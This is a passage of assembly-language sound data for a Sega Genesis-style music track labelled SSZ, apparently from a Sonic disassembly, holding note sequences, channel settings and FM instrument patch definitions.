$04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02 sJump SSZ_Jump2 dc.b $80, $7F, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $08, $F2 ; Unused SSZ_FM4: sPatFM $0A ssDetune $04 ssModZ80 $19, $01, $F9, $06 sPan spLeft SSZ_Jump3: dc.b nC4, $12, nB3, nG3, $0C, nG4, $12, nF4 dc.b nE4, $0C, nC4, $10, nRst, $02, nB3, $12 dc.b nG3, $0C, nG4, $12, nF4, nE4, $0C, nC4 dc.b $10, nRst, $02, nB3, $12, nG3, $0C, nG4 dc.b $12, nF4, nE4, $0C, nC4, $12, nB3, $10 dc.b nRst, $02, nG3, $0E, nRst, $0A, nG3, $0E dc.b nRst, $16, nC5, $54, nC4, $06, nE4, nF4 dc.b $22, nRst, $02, nE4, $18, nC4, $12, nRst dc.b $06, nC4, $08, nRst, $04, nC5, $48, nRst dc.b $0C, nC4, $06, nE4, nF4, $24, nE4, $16 dc.b nRst, $02, nC4, $1C, nRst, $20, nA3, $0E dc.b nRst, $16, nC4, $0C, nRst, $18, nF3, $0C dc.b nRst, $18, nA3, $1C, nRst, $08, nA3, $12 dc.b nRst, $2A, nAb3, $0C, nC4, nBb3, nAb3, nEb4 dc.b $18, nC4, $0C, nD4, nEb4, $16, nRst, $02 dc.b nD4, $0C, nC4, $18, nC5, $50, nRst, $04 dc.b nC4, $06, nE4, nF4, $22, nRst, $02, nE4 dc.b $14, nRst, $04, nC4, $14, nRst, $04, nC4 dc.b nRst, $02, nC4, $04, nRst, $02, nC5, $4E dc.b nRst, $06, nC4, nE4, nF4, $24, nE4, $16 dc.b nRst, $02, nC4, $14, nRst, $04, nC4, $0E dc.b nRst, $16, nA3, $0C, nRst, $18, nC4, $08 dc.b nRst, $1C, nF3, $08, nRst, $1C, nA3, $20 dc.b nRst, $04, nA3, $12, nRst, $2A, nAb3, $0C dc.b nC4, nBb3, $0A, nRst, $02, nAb3, $0C, nEb4 dc.b $18, nD4, $0C, nC4, nF4, $18, nEb4, $0A dc.b nRst, $02, nF4, $12, nRst, $06, nG4, $24 dc.b nEb5, $22, nRst, $02, nD5, $24, nG4, $54 dc.b nAb4, $24, nEb5, $22, nRst, $02, nC5, $24 dc.b nF5, nEb5, $18, nD5, $14, nRst, $04, nAb4 dc.b $24, nEb5, $1C, nRst, $08, nD5, $22, nRst dc.b $02, nG4, $54, nAb4, $24, nC5, nEb5, $16 dc.b nRst, $02, nG5, $18, nF5, $0C, nEb5, $18 dc.b nF5, $1E, nRst, $06, nC5, $4E, nRst, $06 dc.b nC4, nE4, $04, nRst, $02, nF4, $24, nE4 dc.b $16, nRst, $02, nC4, $12, nRst, $06, nC4 dc.b $02, nRst, $04, nC4, $02, nRst, $04, nC5 dc.b $48, nRst, $0C, nC5, $04, nRst, $02, nE5 dc.b $04, nRst, $02, nF5, $1E, nRst, $06, nE5 dc.b $16, nRst, $02, nC5, $10, nRst, $08, nC5 dc.b $0A, nRst, $02, nG5, $0C, nC5, $10, nRst dc.b $20, nC5, $08, nRst, $04, nG5, $0C, nC5 dc.b $08, nRst, $10, nC5, $0C, nRst, nC5, $08 dc.b nRst, $04, nG5, $0C, nC5, nRst, nC5, $06 dc.b nRst, nBb5, $24, nAb5, $22, nRst, $02, nG5 dc.b $20, nRst, $04, nF5, $24, nEb5, $12, nRst dc.b $06, nF5, $08, nRst, $04, nG5, $0C sJump SSZ_Jump3 dc.b $80, $7F, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $80, $80, $80, $80, $80, $80, $80 ; Unused dc.b $80, $27, $F2 ; Unused SSZ_FM5: dc.b nRst, $03 saVolFM $04 sPatFM $0A ssDetune $FC ssModZ80 $19, $01, $07, $06 sPan spRight sJump SSZ_Jump3 dc.b $F2 ; Unused SSZ_PSG3: sNoisePSG $E7 SSZ_Jump5: sVolEnvPSG v01 dc.b nB6, $06 sVolEnvPSG v01 dc.b nB6, $06 sVolEnvPSG v04 dc.b nB6, $0C sVolEnvPSG v01 dc.b nB6, $06 sVolEnvPSG v01 dc.b nB6, $06 sVolEnvPSG v04 dc.b nB6, $0C sJump SSZ_Jump5 dc.b $F2 ; Unused SSZ_Patches: ; Patch $00 ; $3C ; $01, $00, $00, $00, $1F, $1F, $15, $1F ; $11, $0D, $12, $05, $07, $04, $09, $02 ; $55, $3A, $25, $1A, $1A, $80, $07, $80 spAlgorithm $04 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $00, $00, $00 spRateScale $00, $00, $00, $00 spAttackRt $1F, $15, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $11, $12, $0D, $05 spSustainLv $05, $02, $03, $01 spDecayRt $07, $09, $04, $02 spReleaseRt $05, $05, $0A, $0A spTotalLv $1A, $07, $00, $00 ; Patch $01 ; $3D ; $01, $01, $01, $01, $94, $19, $19, $19 ; $0F, $0D, $0D, $0D, $07, $04, $04, $04 ; $25, $1A, $1A, $1A, $15, $80, $80, $80 spAlgorithm $05 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $01, $01, $01 spRateScale $02, $00, $00, $00 spAttackRt $14, $19, $19, $19 spAmpMod $00, $00, $00, $00 spSustainRt $0F, $0D, $0D, $0D spSustainLv $02, $01, $01, $01 spDecayRt $07, $04, $04, $04 spReleaseRt $05, $0A, $0A, $0A spTotalLv $15, $00, $00, $00 ; Patch $02 ; $03 ; $00, $D7, $33, $02, $5F, $9F, $5F, $1F ; $13, $0F, $0A, $0A, $10, $0F, $02, $09 ; $35, $15, $25, $1A, $13, $16, $15, $80 spAlgorithm $03 spFeedback $00 spDetune $00, $03, $0D, $00 spMultiple $00, $03, $07, $02 spRateScale $01, $01, $02, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $13, $0A, $0F, $0A spSustainLv $03, $02, $01, $01 spDecayRt $10, $02, $0F, $09 spReleaseRt $05, $05, $05, $0A spTotalLv $13, $15, $16, $00 ; Patch $03 ; $34 ; $70, $72, $31, $31, $1F, $1F, $1F, $1F ; $10, $06, $06, $06, $01, $06, $06, $06 ; $35, $1A, $15, $1A, $10, $80, $18, $80 spAlgorithm $04 spFeedback $06 spDetune $07, $03, $07, $03 spMultiple $00, $01, $02, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $10, $06, $06, $06 spSustainLv $03, $01, $01, $01 spDecayRt $01, $06, $06, $06 spReleaseRt $05, $05, $0A, $0A spTotalLv $10, $18, $00, $00 ; Patch $04 ; $3E ; $77, $71, $32, $31, $1F, $1F, $1F, $1F ; $0D, $06, $00, $00, $08, $06, $00, $00 ; $15, $0A, $0A, $0A, $1B, $80, $80, $80 spAlgorithm $06 spFeedback $07 spDetune $07, $03, $07, $03 spMultiple $07, $02, $01, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0D, $00, $06, $00 spSustainLv $01, $00, $00, $00 spDecayRt $08, $00, $06, $00 spReleaseRt $05, $0A, $0A, $0A spTotalLv $1B, $00, $00, $00 ; Patch $05 ; $34 ; $33, $41, $7E, $74, $5B, $9F, $5F, $1F ; $04, $07, $07, $08, $00, $00, $00, $00 ; $FF, $FF, $EF, $FF, $23, $80, $29, $87 spAlgorithm $04 spFeedback $06 spDetune $03, $07, $04, $07 spMultiple $03, $0E, $01, $04 spRateScale $01, $01, $02, $00 spAttackRt $1B, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $04, $07, $07, $08 spSustainLv $0F, $0E, $0F, $0F spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $23, $29, $00, $07 ; Patch $06 ; $3A ; $01, $07, $01, $01, $8E, $8E, $8D, $53 ; $0E, $0E, $0E, $03, $00, $00, $00, $07 ; $1F, $FF, $1F, $0F, $18, $28, $27, $80 spAlgorithm $02 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $01, $07, $01 spRateScale $02, $02, $02, $01 spAttackRt $0E, $0D, $0E, $13 spAmpMod $00, $00, $00, $00 spSustainRt $0E, $0E, $0E, $03 spSustainLv $01, $01, $0F, $00 spDecayRt $00, $00, $00, $07 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $18, $27, $28, $00 ; Patch $07 ; $3C ; $32, $32, $71, $42, $1F, $18, $1F, $1E ; $07, $1F, $07, $1F, $00, $00, $00, $00 ; $1F, $0F, $1F, $0F, $1E, $80, $0C, $80 spAlgorithm $04 spFeedback $07 spDetune $03, $07, $03, $04 spMultiple $02, $01, $02, $02 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $18, $1E spAmpMod $00, $00, $00, $00 spSustainRt $07, $07, $1F, $1F spSustainLv $01, $01, $00, $00 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1E, $0C, $00, $00 ; Patch $08 ; $3C ; $71, $72, $3F, $34, $8D, $52, $9F, $1F ; $09, $00, $00, $0D, $00, $00, $00, $00 ; $23, $08, $02, $F7, $15, $80, $1D, $87 spAlgorithm $04 spFeedback $07 spDetune $07, $03, $07, $03 spMultiple $01, $0F, $02, $04 spRateScale $02, $02, $01, $00 spAttackRt $0D, $1F, $12, $1F spAmpMod $00, $00, $00, $00 spSustainRt $09, $00, $00, $0D spSustainLv $02, $00, $00, $0F spDecayRt $00, $00, $00, $00 spReleaseRt $03, $02, $08, $07 spTotalLv $15, $1D, $00, $07 ; Patch $09 ; $3D ; $01, $01, $00, $00, $8E, $52, $14, $4C ; $08, $08, $0E, $03, $00, $00, $00, $00 ; $1F, $1F, $1F, $1F, $1B, $80, $80, $9B spAlgorithm $05 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $00, $01, $00 spRateScale $02, $00, $01, $01 spAttackRt $0E, $14, $12, $0C spAmpMod $00, $00, $00, $00 spSustainRt $08, $0E, $08, $03 spSustainLv $01, $01, $01, $01 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1B, $00, $00, $1B ; Patch $0A ; $3A ; $31, $53, $31, $41, $8D, $4F, $15, $52 ; $06, $08, $07, $04, $02, $00, $00, $00 ; $1F, $1F, $2F, $2F, $19, $20, $2A, $80 spAlgorithm $02 spFeedback $07 spDetune $03, $03, $05, $04 spMultiple $01, $01, $03, $01 spRateScale $02, $00, $01, $01 spAttackRt $0D, $15, $0F, $12 spAmpMod $00, $00, $00, $00 spSustainRt $06, $07, $08, $04 spSustainLv $01, $02, $01, $02 spDecayRt $02, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $19, $2A, $20, $00 ; Patch $0B ; $3C ; $36, $31, $76, $71, $94, $9F, $96, $9F ; $12, $00, $14, $0F, $04, $0A, $04, $0D ; $2F, $0F, $4F, $2F, $33, $80, $1A, $80 spAlgorithm $04 spFeedback $07 spDetune $03, $07, $03, $07 spMultiple $06, $06, $01, $01 spRateScale $02, $02, $02, $02 spAttackRt $14, $16, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $12, $14, $00, $0F spSustainLv $02, $04, $00, $02 spDecayRt $04, $04, $0A, $0D spReleaseRt $0F, $0F, $0F, $0F spTotalLv $33, $1A, $00, $00 ; Patch $0C ; $34 ; $33, $41, $7E, $74, $5B, $9F, $5F, $1F ; $04, $07, $07, $08, $00, $00, $00, $00 ; $FF, $FF, $EF, $FF, $23, $90, $29, $97 spAlgorithm $04 spFeedback $06 spDetune $03, $07, $04, $07 spMultiple $03, $0E, $01, $04 spRateScale $01, $01, $02, $00 spAttackRt $1B, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $04, $07, $07, $08 spSustainLv $0F, $0E, $0F, $0F spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $23, $29, $10, $17 ; Patch $0D ; $38 ; $63, $31, $31, $31, $10, $13, $1A, $1B ; $0E, $00, $00, $00, $00, $00, $00, $00 ; $3F, $0F, $0F, $0F, $1A, $19, $1A, $80 spAlgorithm $00 spFeedback $07 spDetune $06, $03, $03, $03 spMultiple $03, $01, $01, $01 spRateScale $00, $00, $00, $00 spAttackRt $10, $1A, $13, $1B spAmpMod $00, $00, $00, $00 spSustainRt $0E, $00, $00, $00 spSustainLv $03, $00, $00, $00 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1A, $1A, $19, $00 ; Patch $0E ; $3A ; $31, $25, $73, $41, $5F, $1F, $1F, $9C ; $08, $05, $04, $1E, $03, $04, $02, $06 ; $2F, $2F, $1F, $0F, $29, $27, $1F, $80 spAlgorithm $02 spFeedback $07 spDetune $03, $07, $02, $04 spMultiple $01, $03, $05, $01 spRateScale $01, $00, $00, $02 spAttackRt $1F, $1F, $1F, $1C spAmpMod $00, $00, $00, $00 spSustainRt $08, $04, $05, $1E spSustainLv $02, $01, $02, $00 spDecayRt $03, $02, $04, $06 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $29, $1F, $27, $00 ; Patch $0F ; $04 ; $71, $41, $31, $31, $12, $12, $12, $12 ; $00, $00, $00, $00, $00, $00, $00, $00 ; $0F, $0F, $0F, $0F, $23, $80, $23, $80 spAlgorithm $04 spFeedback $00 spDetune $07, $03, $04, $03 spMultiple $01, $01, $01, $01 spRateScale $00, $00, $00, $00 spAttackRt $12, $12, $12, $12 spAmpMod $00, $00, $00, $00 spSustainRt $00, $00, $00, $00 spSustainLv $00, $00, $00, $00 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $23, $23, $00, $00 ; Patch $10 ; $14 ; $75, $72, $35, $32, $9F, $9F, $9F, $9F ; $05, $05, $00, $0A, $05, $05, $07, $05 ; $2F, $FF, $0F, $2F, $1E, $80, $14, $80 spAlgorithm $04 spFeedback $02 spDetune $07, $03, $07, $03 spMultiple $05, $05, $02, $02 spRateScale $02, $02, $02, $02 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $05, $00, $05, $0A spSustainLv $02, $00, $0F, $02 spDecayRt $05, $07, $05, $05 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1E, $14, $00, $00 ; Patch $11 ; $3D ; $01, $00, $01, $02, $12, $1F, $1F, $14 ; $07, $02, $02, $0A, $05, $05, $05, $05 ; $2F, $2F, $2F, $AF, $1C, $80, $82, $80 spAlgorithm $05 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $01, $00, $02 spRateScale $00, $00, $00, $00 spAttackRt $12, $1F, $1F, $14 spAmpMod $00, $00, $00, $00 spSustainRt $07, $02, $02, $0A spSustainLv $02, $02, $02, $0A spDecayRt $05, $05, $05, $05 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1C, $02, $00, $00 ; Patch $12 ; $1C ; $73, $72, $33, $32, $94, $99, $94, $99 ; $08, $0A, $08, $0A, $00, $05, $00, $05 ; $3F, $4F, $3F, $4F, $1E, $80, $19, $80 spAlgorithm $04 spFeedback $03 spDetune $07, $03, $07, $03 spMultiple $03, $03, $02, $02 spRateScale $02, $02, $02, $02 spAttackRt $14, $14, $19, $19 spAmpMod $00, $00, $00, $00 spSustainRt $08, $08, $0A, $0A spSustainLv $03, $03, $04, $04 spDecayRt $00, $00, $05, $05 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1E, $19, $00, $00 ; Patch $13 ; $31 ; $33, $01, $00, $00, $9F, $1F, $1F, $1F ; $0D, $0A, $0A, $0A, $0A, $07, $07, $07 ; $FF, $AF, $AF, $AF, $1E, $1E, $1E, $80 spAlgorithm $01 spFeedback $06 spDetune $03, $00, $00, $00 spMultiple $03, $00, $01, $00 spRateScale $02, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0D, $0A, $0A, $0A spSustainLv $0F, $0A, $0A, $0A spDecayRt $0A, $07, $07, $07 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1E, $1E, $1E, $00 ; Patch $14 ; $3A ; $70, $76, $30, $71, $1F, $95, $1F, $1F ; $0E, $0F, $05, $0C, $07, $06, $06, $07 ; $2F, $4F, $1F, $5F, $21, $12, $28, $80 spAlgorithm $02 spFeedback $07 spDetune $07, $03, $07, $07 spMultiple $00, $00, $06, $01 spRateScale $00, $00, $02, $00 spAttackRt $1F, $1F, $15, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0E, $05, $0F, $0C spSustainLv $02, $01, $04, $05 spDecayRt $07, $06, $06, $07 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $21, $28, $12, $00 ; Patch $15 ; $28 ; $71, $00, $30, $01, $1F, $1F, $1D, $1F ; $13, $13, $06, $05, $03, $03, $02, $05 ; $4F, $4F, $2F, $3F, $0E, $14, $1E, $80 spAlgorithm $00 spFeedback $05 spDetune $07, $03, $00, $00 spMultiple $01, $00, $00, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1D, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $13, $06, $13, $05 spSustainLv $04, $02, $04, $03 spDecayRt $03, $02, $03, $05 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $0E, $1E, $14, $00 ; Patch $16 ; $3E ; $38, $01, $7A, $34, $59, $D9, $5F, $9C ; $0F, $04, $0F, $0A, $02, $02, $05, $05 ; $AF, $AF, $66, $66, $28, $80, $A3, $80 spAlgorithm $06 spFeedback $07 spDetune $03, $07, $00, $03 spMultiple $08, $0A, $01, $04 spRateScale $01, $01, $03, $02 spAttackRt $19, $1F, $19, $1C spAmpMod $00, $00, $00, $00 spSustainRt $0F, $0F, $04, $0A spSustainLv $0A, $06, $0A, $06 spDecayRt $02, $05, $02, $05 spReleaseRt $0F, $06, $0F, $06 spTotalLv $28, $23, $00, $00 ; Patch $17 ; $39 ; $32, $31, $72, $71, $1F, $1F, $1F, $1F ; $00, $00, $00, $00, $00, $00, $00, $00 ; $0F, $0F, $0F, $0F, $1B, $32, $28, $80 spAlgorithm $01 spFeedback $07 spDetune $03, $07, $03, $07 spMultiple $02, $02, $01, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $00, $00, $00, $00 spSustainLv $00, $00, $00, $00 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1B, $28, $32, $00 ; Patch $18 ; $07 ; $34, $74, $32, $71, $1F, $1F, $1F, $1F ; $0A, $0A, $05, $03, $00, $00, $00, $00 ; $3F, $3F, $2F, $2F, $8A, $8A, $80, $80 spAlgorithm $07 spFeedback $00 spDetune $03, $03, $07, $07 spMultiple $04, $02, $04, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0A, $05, $0A, $03 spSustainLv $03, $02, $03, $02 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, 